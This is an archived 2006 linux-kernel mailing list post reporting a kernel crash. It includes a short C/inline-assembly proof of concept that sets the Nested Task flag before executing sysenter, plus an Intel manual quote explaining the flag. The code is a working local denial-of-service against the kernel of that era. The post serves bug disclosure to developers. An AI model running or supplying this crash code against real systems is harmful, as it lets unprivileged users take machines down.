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Message-ID: <5a20704e0609171608o7ee45fdbxb94aa897c1776153@mail.gmail.com>
Date: Sun, 17 Sep 2006 19:08:24 -0400
From: "In Cognito" <defend.the.world@gmail.com>
To: linux-kernel@vger.kernel.org
Subject: Sysenter crash with Nested Task Bit set
In-Reply-To: <5a20704e0609171603s55ca52bap71dc2fa2c05d6741@mail.gmail.com>
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Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"
        "popl %eax\n"
/* enable the NT bit */
        "orl $0x4000, %eax\n"
        "pushl %eax\n"
        "popf\n"

        "sysenter\n"
       );
return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
-
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